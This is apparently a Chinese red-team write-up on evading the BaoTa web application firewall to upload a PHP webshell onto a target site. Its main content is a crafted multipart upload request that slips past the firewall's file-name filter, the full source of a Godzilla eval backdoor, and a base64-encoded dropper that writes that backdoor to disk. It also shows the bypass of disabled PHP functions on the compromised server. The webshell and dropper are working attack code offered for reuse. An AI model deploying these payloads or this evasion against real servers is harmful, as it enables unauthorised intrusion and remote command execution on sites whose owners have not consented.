

Bypass 宝塔防火墙 文件上传

1.起因

2.突破防火墙文件后缀限制

3.绕过宝塔防火墙流量拦截

1) 上传一段无害Payload

2) 上传覆写webshell的php代码

4.绕过Disable_functions

参考

一些代码

优化

1.起因

打某场hvv的时候，看到一个靶标，前期打点发现是有弱口令，并且存在文件上传的口子

我的账户

头像:



尺寸要求60px*60px
格式要求jpg、jpeg、png

上传

用户名:

密码:

[修改密码](#)

试了下传.php的文件，直接被宝塔防火墙拦截了

1. 检查提交内容；
2. 如网站托管，请联系空间提供商；
3. 普通网站访客，请联系网站管理员；
4. 这是误报，请联系宝塔 <http://www.bt.cn/bbs>

```
1 POST /system/Upload/imgUpload HTTP/1.1
2 Host: xx.xx.xx.xx
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/62.0.3202.9 Safari/537.36
4 Accept: */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 token: 7A5BE98BF2A1E8695E6E4CC806E886ED
9 Content-Type: multipart/form-data; boundary=-----
  -145660050014454973801680190631
10 Content-Length: 1341
11 Origin: http://xx.xx.xx.xx
12 Connection: close
13 Referer: http://xx.xx.xx.xx
14 Cookie: PHPSESSID=i6fe4bnvrnc50s4uh64rvmeol4
15
16 -----145660050014454973801680190631
17 Content-Disposition: form-data; name="width"
18
19 60
20 -----145660050014454973801680190631
21 Content-Disposition: form-data; name="height"
22
23 60
24 -----145660050014454973801680190631
25 Content-Type: image/gif
26 Content-Length: 253
27 X-Requested-With: XMLHttpRequest
28 Content-Type: image/png
29 Content-Disposition:
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="BBBBBBBB"; name="file";
  filename="1.p
30 h
31 p"
32
33 .....图片数据块
34 <?php phpinfo();?>
35 .....图片数据块
36 -----145660050014454973801680190631---
```

上传成功

尝试传了一个

后面想办法整

基础配置 请求配置

URL

.com/uploads/210607/llog.php

密码

pass

密钥

key

连接超时

60000

读取超时

60000

代理主机

127.0.0.1

代理端口

7890

备注

备注

代理类型

SOCKS

编码

UTF-8

有效载荷

PhpDynamicPayload

加密器

PHP_XOR_RAW

修改

测试连接

提示

Success!

确定

上去看看

Url:http://.com/uploads/210607/llog.php 有效载荷:PhpDynamicPayload 加密器:PHP_XOR_RAW

基础信息 命令执行 文件管理 数据库管理 网络详情 笔记 PMeterpreter ByPassOpenBasedir PZip 代码执行 BypassDisableFunctions

Disk

/

www

wwwroot

uploads

210607

190807

190808

190820

190826

190827

190820

/www/wwwroot/uploads/

icon	name	type	lastModifi
	190807	dir	2019-08-07 14
	190808	dir	2019-08-08 17
	190820	dir	2019-08-20 13
	190826	dir	2019-08-26 23
	190827	dir	2019-08-27 14
	190830	dir	2019-08-30 16
	20180115	dir	2019-07-03 11

4.绕过Disable_functions

麻了.....

Core

PHP Version		
7.2.18		
Directive	Local Value	Master Value
allow_url_fopen	On	On
allow_url_include	Off	Off
arg_separator.input	&	&
arg_separator.output	&	&
auto_append_file	no value	no value
auto_globals_jit	On	On
auto_prepend_file	no value	no value
browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html
disable_classes	no value	no value
disable_functions	passthru,exec,system,putenv,chroot,chgrp,chmod,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv	passthru,exec,system,putenv,chroot,chgrp,chmod,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

用哥斯拉自带的绕过尝试了下，成功拿下一个低权限

基础信息	命令执行	文件管理	数据库管理	网络详情	笔记	PMeterpreter	ByPassOpenBasedir	PZip	代码执行	BypassDisableFunctions
<div> <div>MemBypass</div> <div>EnvBypass</div> </div> <div> <div>payload</div> <div>php7-backtrace-bypass</div> <div>command</div> <div>id</div> <div>Run</div> </div> <div>uid=1000(www) gid=1000(www) groups=1000(www)</div>										

参考

<https://www.bilibili.com/read/cv7621417/>

<https://www.cnblogs.com/-qing-/p/10832850.html>

一些代码

哥斯拉生成的Webshell(默认)


```

1  <?php
2  @session_start();
3  @set_time_limit(0);
4  @error_reporting(0);
5  function encode($D,$K){
6      for($i=0;$i<strlen($D);$i++) {
7          $c = $K[$i+1&15];
8          $D[$i] = $D[$i]^$c;
9      }
10     return $D;
11 }
12 $payloadName='payload';
13 $key='3c6e0b8a9c15224a';
14 $data=file_get_contents("php://input");
15 if ($data!==false){
16     $data=encode($data,$key);
17     if (isset($_SESSION[$payloadName])){
18         $payload=encode($_SESSION[$payloadName],$key);
19         eval($payload);
20         echo encode(@run($data),$key);
21     }else{
22         if (stripos($data,"getBasicsInfo")!==false){
23             $_SESSION[$payloadName]=encode($data,$key);
24         }
25     }
26 }
27 ?>

```

Disabled_Functions

```

1  passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcn
    tl_exec,ini_alter,ini_restore,dlopenlog,symlink,popepassthru
    ,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifsto
    pped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pc
    ntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_st
    rror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcnt
    l_getpriority,pcntl_setpriority,imap_open,apache_setenv

```

绕宝塔的时候，我用自己改的冰蝎上过马，但是绕不过，/菜

优化

优化一下，分成两段写还是有点麻烦

```
1 <?php
2 $str
  ="PD9waHANCkBzZXNzaW9uX3N0YXJ0KCK7DQpAc2V0X3RpbWVfbGltaXQoMCK7DQpAZXJyb3JfcmlV
wb3J0aW5nKDAp0w0KZnVuY3Rpb24gZW5jb2RlKCRELCRLKXsNCiAgICBmb3IoJGk9MDskaTxzdHJs
ZW4oJEQp0YRpKyspIHsNCiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsNCiAgICAgICAgJERbJGldI
D0gJERbJGldXiRj0w0KICAgIH0NCiAgICByZXR1cm4gJEQ7DQp9DQokcGF5bG9hZE5hbWU9J3BheW
xvYWQn0w0KJGtleT0nM2M2ZTBi0GE5YzE1MjI0YScl7DQokZGF0YT1maWxlX2dldF9jb250ZW50cyg
icGhw0i8vaW5wdXQiKTsNCmlmICGkZGF0YSE9PWZhbnHlKXsNCiAgICAKZGF0YT1lbmNvZGUoJGRh
dGEsJGtleSk7DQogICAgYWYgKGlzc2V0KCRfU0VTU0lPTlscGF5bG9hZE5hbWVdKS17DQogICAgI
CAgICRwYXlsb2FkPWVuY29kZSgkX1NFU1NJT05bJHBheWxvYWROYW1lXSska2V5KTSNCgkZJXZhbnC
gkcGF5bG9hZCk7DQogICAgICAgIGVjaG8gZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkp0w0KICAgIH1
lbHnlew0KICAgICAgICBpZiAoc3RyaXBvcyGkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Up
ew0KICAgICAgICAgICAgJF9TRVNTSU90WyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkp0
w0KICAgICAgICB9DQogICAgfQ0KfQ0KPz4=";
3 $str = base64_decode($str);echo $str;
4 $handle = fopen("./llog.php","w");
5 fwrite($handle,$str);
6 fclose($handle);?>
```